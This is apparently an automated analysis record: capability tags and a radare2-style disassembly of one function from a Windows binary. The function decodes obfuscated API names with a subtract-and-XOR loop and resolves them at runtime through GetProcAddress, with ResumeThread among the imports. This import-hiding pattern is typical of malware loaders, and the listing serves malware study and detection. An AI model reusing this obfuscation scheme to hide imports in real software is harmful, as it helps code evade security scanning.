Function at 0x10009db0
Capabilities:
Encode data using xor
Link many functions at runtime

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
xor ebx, ebx
cmp esi, ebx
je 0x1000a1c8
lea eax, [esp + 0x10]
push eax
mov eax, str.l3B7dXRobYhtbW5qSQ
mov dword [esp + 0x14], ebx
call fcn.10009800
mov edx, dword [esp + 0x14]
mov edi, eax
add esp, 4
xor ecx, ecx
cmp edi, ebx
jle 0x10009e03
mov al, byte [ecx + edx]
sub al, 0x24
xor al, 0x25
mov byte [ecx + edx], al
inc ecx
cmp ecx, edi
jl 0x10009df4
push edx
push esi
call ebp
lea ecx, [esp + 0x10]
mov dword [0x10012ba8], eax
push ecx
mov eax, str.l3B7dXRobYd7ZGRJ
mov dword [esp + 0x14], ebx
call fcn.10009800
mov edx, dword [esp + 0x14]
mov edi, eax
add esp, 4
xor ecx, ecx
cmp edi, ebx
jle 0x10009e3f
mov edi, edi
mov al, byte [ecx + edx]
sub al, 0x24
xor al, 0x25
mov byte [ecx + edx], al
inc ecx
cmp ecx, edi
jl 0x10009e30
push edx
push esi
call ebp
lea ecx, [esp + 0x10]
mov dword [0x10012bac], eax
push ecx
mov eax, str.l3B7dXRobZh0ZHuAhIFJ
mov dword [esp + 0x14], ebx
call fcn.10009800
mov edx, dword [esp + 0x14]
mov edi, eax
add esp, 4
xor ecx, ecx
cmp edi, ebx
jle 0x10009e7f
lea ebx, [ebx]
mov al, byte [ecx + edx]
sub al, 0x24
xor al, 0x25
mov byte [ecx + edx], al
inc ecx
cmp ecx, edi
jl 0x10009e70
push edx
push esi
call ebp
lea ecx, [esp + 0x10]
mov dword [0x10012bb0], eax
push ecx
mov eax, str.l3B7dXRobZl7bnVkanWEgUk
mov dword [esp + 0x14], ebx
call fcn.10009800
mov edx, dword [esp + 0x14]
mov edi, eax
add esp, 4
xor ecx, ecx
cmp edi, ebx
jle 0x10009ebf
lea ebx, [ebx]
mov al, byte [ecx + edx]
sub al, 0x24
xor al, 0x25
mov byte [ecx + edx], al
inc ecx
cmp ecx, edi
jl 0x10009eb0
push edx
push esi
call ebp
lea ecx, [esp + 0x10]
mov dword [0x10012bb4], eax
push ecx
mov eax, str.l3B7dXRobYhtbW5qhIFJ
mov dword [esp + 0x14], ebx
call fcn.10009800
mov edx, dword [esp + 0x14]
mov edi, eax
add esp, 4
xor ecx, ecx
cmp edi, ebx
jle 0x10009eff
lea ebx, [ebx]
mov al, byte [ecx + edx]
sub al, 0x24
xor al, 0x25
mov byte [ecx + edx], al
inc ecx
cmp ecx, edi
jl 0x10009ef0
push edx
push esi
call ebp
lea ecx, [esp + 0x10]
mov dword [0x10012bb8], eax
push ecx
mov eax, str.hmR1lXF7ZGhlim5vdWSBdUk
mov dword [esp + 0x14], ebx
call fcn.10009800
mov edx, dword [esp + 0x14]
mov edi, eax
add esp, 4
xor ecx, ecx
cmp edi, ebx
jle 0x10009f3f
lea ebx, [ebx]
mov al, byte [ecx + edx]
sub al, 0x24
xor al, 0x25
mov byte [ecx + edx], al
inc ecx
cmp ecx, edi
jl 0x10009f30
push edx
push esi
call ebp
lea ecx, [esp + 0x10]
mov dword [0x10012bbc], eax
push ecx
mov eax, str.mmR1lXF7ZGhlim5vdWSBdUk
mov dword [esp + 0x14], ebx
call fcn.10009800
mov edx, dword [esp + 0x14]
mov edi, eax
add esp, 4
xor ecx, ecx
cmp edi, ebx
jle 0x10009f7f
lea ebx, [ebx]
mov al, byte [ecx + edx]
sub al, 0x24
xor al, 0x25
mov byte [ecx + edx], al
inc ecx
cmp ecx, edi
jl 0x10009f70
push edx
push esi
call ebp
lea ecx, [esp + 0x10]
mov dword [0x10012bc0], eax
push ecx
mov eax, str.m2RoZZl7bmpkenqMZGxue4BJ
mov dword [esp + 0x14], ebx
call fcn.10009800
mov edx, dword [esp + 0x14]
mov edi, eax
add esp, 4
xor ecx, ecx
cmp edi, ebx
jle 0x10009fbf
lea ebx, [ebx]
mov al, byte [ecx + edx]
sub al, 0x24
xor al, 0x25
mov byte [ecx + edx], al
inc ecx
cmp ecx, edi
jl 0x10009fb0
push edx
push esi
call ebp
lea ecx, [esp + 0x10]
mov dword [0x10012bc4], eax
push ecx
mov eax, str.lntwdWSZe25qZHp6jGRsbnuASQ
mov dword [esp + 0x14], ebx
call fcn.10009800
mov edx, dword [esp + 0x14]
mov edi, eax
add esp, 4
xor ecx, ecx
cmp edi, ebx
jle 0x10009fff
lea ebx, [ebx]
mov al, byte [ecx + edx]
sub al, 0x24
xor al, 0x25
mov byte [ecx + edx], al
inc ecx
cmp ecx, edi
jl 0x10009ff0
push edx
push esi
call ebp
lea ecx, [esp + 0x10]
mov dword [0x10012bc8], eax
push ecx
mov eax, str.m2RoZYdwbWRJ
mov dword [esp + 0x14], ebx
call fcn.10009800
mov edx, dword [esp + 0x14]
mov edi, eax
add esp, 4
xor ecx, ecx
cmp edi, ebx
jle 0x1000a03f
lea ebx, [ebx]
mov al, byte [ecx + edx]
sub al, 0x24
xor al, 0x25
mov byte [ecx + edx], al
inc ecx
cmp ecx, edi
jl 0x1000a030
push edx
push esi
call ebp
lea ecx, [esp + 0x10]
mov dword [0x10012bcc], eax
push ecx
mov eax, str.hmR1h3BtZJpwg2RJ
mov dword [esp + 0x14], ebx
call fcn.10009800
mov edx, dword [esp + 0x14]
mov edi, eax
add esp, 4
xor ecx, ecx
cmp edi, ebx
jle 0x1000a07f
lea ebx, [ebx]
mov al, byte [ecx + edx]
sub al, 0x24
xor al, 0x25
mov byte [ecx + edx], al
inc ecx
cmp ecx, edi
jl 0x1000a070
push edx
push esi
call ebp
push str.ResumeThread
push esi
mov dword [0x10012bd0], eax
call ebp
lea ecx, [esp + 0x10]
mov dword [0x10012bd4], eax
push ecx
mov eax, str.im1uemSRaG9lbWRJ
mov dword [esp + 0x14], ebx
call fcn.10009800
mov edx, dword [esp + 0x14]
mov edi, eax
add esp, 4
xor ecx, ecx
cmp edi, ebx
jle 0x1000a0c6
mov al, byte [ecx + edx]
sub al, 0x24
xor al, 0x25
mov byte [ecx + edx], al
inc ecx
cmp ecx, edi
jl 0x1000a0b7
push edx
push esi
call ebp
lea ecx, [esp + 0x10]
mov dword [0x10012bd8], eax
push ecx
mov eax, str.intkaHVkmXtuamR6epZJ
mov dword [esp + 0x14], ebx
call fcn.10009800
mov edx, dword [esp + 0x14]
mov edi, eax
add esp, 4
xor ecx, ecx
cmp edi, ebx
jle 0x1000a100
mov al, byte [ecx + edx]
sub al, 0x24
xor al, 0x25
mov byte [ecx + edx], al
inc ecx
cmp ecx, edi
jl 0x1000a0f1
push edx
push esi
call ebp
lea ecx, [esp + 0x10]
mov dword [0x10012be8], eax
push ecx
mov eax, str.intkaHVkh3BtZJZJ
mov dword [esp + 0x14], ebx
call fcn.10009800
mov edx, dword [esp + 0x14]
mov edi, eax
add esp, 4
xor ecx, ecx
cmp edi, ebx
jle 0x1000a13f
jmp 0x1000a130
mov al, byte [ecx + edx]
sub al, 0x24
xor al, 0x25
mov byte [ecx + edx], al
inc ecx
cmp ecx, edi
jl 0x1000a130
push edx
push esi
call ebp
lea ecx, [esp + 0x10]
mov dword [0x10012bec], eax
push ecx
mov eax, str.jW5oZY1wa3toe4CISQ
mov dword [esp + 0x14], ebx
call fcn.10009800
mov edx, dword [esp + 0x14]
mov edi, eax
add esp, 4
xor ecx, ecx
cmp edi, ebx
jle 0x1000a17f
lea ebx, [ebx]
mov al, byte [ecx + edx]
sub al, 0x24
xor al, 0x25
mov byte [ecx + edx], al
inc ecx
cmp ecx, edi
jl 0x1000a170
push edx
push esi
call ebp
lea ecx, [esp + 0x10]
mov dword [0x10012be0], eax
push ecx
mov eax, str.hXB6aGttZJVxe2RoZY1wa3toe4CKaG1tekk
mov dword [esp + 0x14], ebx
call fcn.10009800
mov edx, dword [esp + 0x14]
mov edi, eax
add esp, 4
xor ecx, ecx
cmp edi, ebx
jle 0x1000a1bf
lea ebx, [ebx]
mov al, byte [ecx + edx]
sub al, 0x24
xor al, 0x25
mov byte [ecx + edx], al
inc ecx
cmp ecx, edi
jl 0x1000a1b0
push edx
push esi
call ebp
mov dword [0x10012be4], eax
lea ecx, [esp + 0x10]
push ecx
mov eax, str.j3WYdGR7gJBvZ257bGh1cG5vmXtuamR6ekk
mov dword [esp + 0x14], ebx
call fcn.10009800
mov esi, dword [esp + 0x14]
add esp, 4
xor ecx, ecx
cmp eax, ebx
jle 0x1000a201
jmp 0x1000a1f0
mov dl, byte [ecx + esi]
sub dl, 0x24
xor dl, 0x25
mov byte [ecx + esi], dl
inc ecx
cmp ecx, eax
jl 0x1000a1f0
lea eax, [esp + 0x10]
push eax
mov eax, str.b0l1SWVJbUltSS9JZUltSW1JSUk
mov dword [esp + 0x14], ebx
call fcn.10009800
mov edx, dword [esp + 0x14]
mov edi, eax
add esp, 4
xor ecx, ecx
cmp edi, ebx
jle 0x1000a232
mov al, byte [ecx + edx]
sub al, 0x24
xor al, 0x25
mov byte [ecx + edx], al
inc ecx
cmp ecx, edi
jl 0x1000a223
push esi
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call ebp
mov dword [0x10012bdc], eax
cmp dword [0x10012be8], ebx
je 0x1000a2ca
cmp dword [0x10012ba8], ebx
je 0x1000a2ca
cmp dword [0x10012bac], ebx
je 0x1000a2ca
cmp dword [0x10012bb0], ebx
je 0x1000a2ca
cmp dword [0x10012bb4], ebx
je 0x1000a2ca
cmp dword [0x10012bb8], ebx
je 0x1000a2ca
cmp dword [0x10012bbc], ebx
je 0x1000a2ca
cmp dword [0x10012bc4], ebx
je 0x1000a2ca
cmp dword [0x10012bc8], ebx
je 0x1000a2ca
cmp dword [0x10012bcc], ebx
je 0x1000a2ca
cmp dword [0x10012bec], ebx
je 0x1000a2ca
cmp dword [0x10012bd0], ebx
je 0x1000a2ca
cmp dword [0x10012bd4], ebx
je 0x1000a2ca
cmp dword [0x10012bd8], ebx
je 0x1000a2ca
cmp eax, ebx
je 0x1000a2ca
cmp dword [0x10012be0], ebx
je 0x1000a2ca
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
ret